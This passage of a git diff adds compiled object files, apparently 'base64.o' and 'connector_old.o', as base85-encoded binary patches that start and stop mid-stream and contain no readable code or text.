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 RN+CG%pO77)g5b3N{|~tUK{o&Z literal 0 HcmV?d00001 diff --git a/base64.o b/base64.o new file mode 100644 index 0000000000000000000000000000000000000000..e17de1072fe2fa03e89b69bb28a44b671e4626a5 GIT binary patch literal 5800 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 F{{WbmZ3X}U literal 0 HcmV?d00001 diff --git a/connector_old.o b/connector_old.o new file mode 100644 index 0000000000000000000000000000000000000000..446277b6144edbfae191433d988049246b513013 GIT binary patch literal 62920 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 